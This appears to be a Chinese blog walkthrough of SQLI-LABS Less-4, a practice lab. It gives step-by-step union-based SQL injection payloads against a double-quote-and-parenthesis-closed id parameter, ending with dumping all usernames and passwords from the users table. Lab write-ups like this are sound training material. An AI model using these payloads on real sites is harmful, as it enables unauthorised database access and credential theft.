首页 > 数据库 >SQLI-LABS(Less-4)

SQLI-LABS(Less-4)

时间:2022-09-05 18:44:08浏览次数:48  
标签:语句 回显 Less union LABS SQLI --+ id 注入

Less-4(Error based-Double Quotes-string)

打开Less-4页面,可以看到页面中间有一句Please input the ID as parameter with numeric value,那么先使用ID这个参数通过GET方式传入一个数值。

确定注入点

注入语句:?id=1

可以看出传入id=1可以正常回显,那么试一下?id=1',发现也是可以正常回显的。

接着尝试拼接?id=1",发现在双引号附近产生歧义导致了报错。

并且从上图报错中可以看出这条SQL语句的闭合方式为"),那么使用注入语句:?id=1") --+,看看是否能够正常闭合并注释,从下图看出是没有问题的。

接着尝试注入语句?id=1") and 1=1 --+?id=1") and 1=2 --+,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。

判断数据表列数

通过order by判断该表的字段数量(order by语句用于根据指定的列对结果集进行排序),URL后面拼接?id=1") order by 1 --+看是否报错:

当尝试到?id=1") order by 4 --+时,出现了报错,由此可以判断该表只有3列。

确定回显字段

注入语句:?id=1") and 1=2 union select 1,2,3 --+

这里使用and 1=2是为了让union之前的语句为假,从而不回显在前端页面。这样结合union之后的语句就可以通过前端页面的回显知道前端页面显示的是数据表的第几列。

确定当前数据库名和用户

从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数:user()(查看当前用户)、database()(查看当前数据库)、version()(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句:?id=1") and 1=2 union select 1,database(),user() --+

通过上述注入可以得知,当前数据库名为security,当前用户为root

确定当前数据库内表名

注入语句:?id=1") and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

通过上述注入可以得知当前数据库中存在emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句:?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

通过上述注入可以得知users表中存在三列,分别为idusernamepassword

确定users表中的用户名和密码

注入语句:?id=1") and 1=2 union select 1,group_concat(username),group_concat(password) from users --+

至此,就得到了当前表中所有的用户名和密码。

标签:语句,回显,Less,union,LABS,SQLI,--+,id,注入
From: https://www.cnblogs.com/Timesi/p/16658129.html

相关文章

  • php8.0源码编译安装mysqli拓展
    将开发环境web项目上传到CentOS8.0云服务器上后,调用PHP文件报500错误,经排查php环境中不存在mysqli拓展,导致无法使用mysqli_connect()函数;查看phpinfo()页面证实猜想;原因可......
  • Serverless 架构下的 AI 应用开发:入门、实战与性能优化
    作者:Serverless随着时间的推移,Serverless架构变得越来越火热,凭借着极致弹性、按量付费、低成本运维等特性,在很多领域发挥着越来越重要的作用;机器学习领域在近些年也非常......
  • [HTML+CSS] 17.less 简介
    笔记来源:尚硅谷Web前端HTML5&CSS3初学者零基础入门全套完整版目录less简介1、安装插件2、编写less3、less语法less注释父子关系嵌套变量其他4、混合函数其他5、......
  • 02-mORMot框架样例学习-02 - Embedded SQLite3 ORM(SQLite3 数据库)
     programProject01;uses{$ISynDprUses.inc}//useFastMM4onolderDelphi,orsetFPCthreadsForms,SysUtils,SynCommons,mORMot,Unit1......
  • sqli-labs第二关
    1.判断是否存在注入输入?id=1可以看出存在注入2.判断什么类型的注入输入?id=1'发现出现错误提示,说明单引号影响了闭合,为数字型注入说明其他步骤和第一关相似,只需要......
  • sqli-labs第一关
    sqli-labs通关记录1.判断是否可以注入输入?id=1输入?id=2由此可以判断出可以进行注入2.判断什么类型的注入输入?id=1'输入?id=1'--+可以看出第一次输入结果出......
  • 04_Linux基础-.&..-cat-tac-重定向-EOF-Shell-more-ps-less-head-tail-sed-grep-which
    04_Linux基础-.&..-cat-tac->&>>-EOF-Shell-more-ps-less-head-tail-sed-grep-which-whereis-PATH-bash-/usr-locate-find一.回顾回顾// 将/home/目录下的所有文件和......
  • Docker 部署GitLabs 版本升级 13.9.x -> 15.3.x
    Gitlabs版本升级大版本不能直接跳级升级,可以参考官方的升级路径。本人是从13.9.x需要升级到最新的15.3.x。参考官方路径结合自己的实际情况成功升级。13.9.0->13.12.......
  • SQLite Entity Framework Core 使用 DBFirst
    1.使用DBBrowserforSQLite建立数据库db文件2.NuGet包管理器下载安装如下几3个包  3.使用程序包管理器控制台生成实体PM>Scaffold-DbContext-Force"DataSourc......
  • 基于 Serverless+OSS 分分钟实现图片秒变素描
    作者:除却巫山不是云啊在阿里云Serverless函数计算服务中部署普通图片转素描图的函数服务,实现批量上传到指定OSS桶内的图片自动转换为素描图并保存到另一个OSS桶内......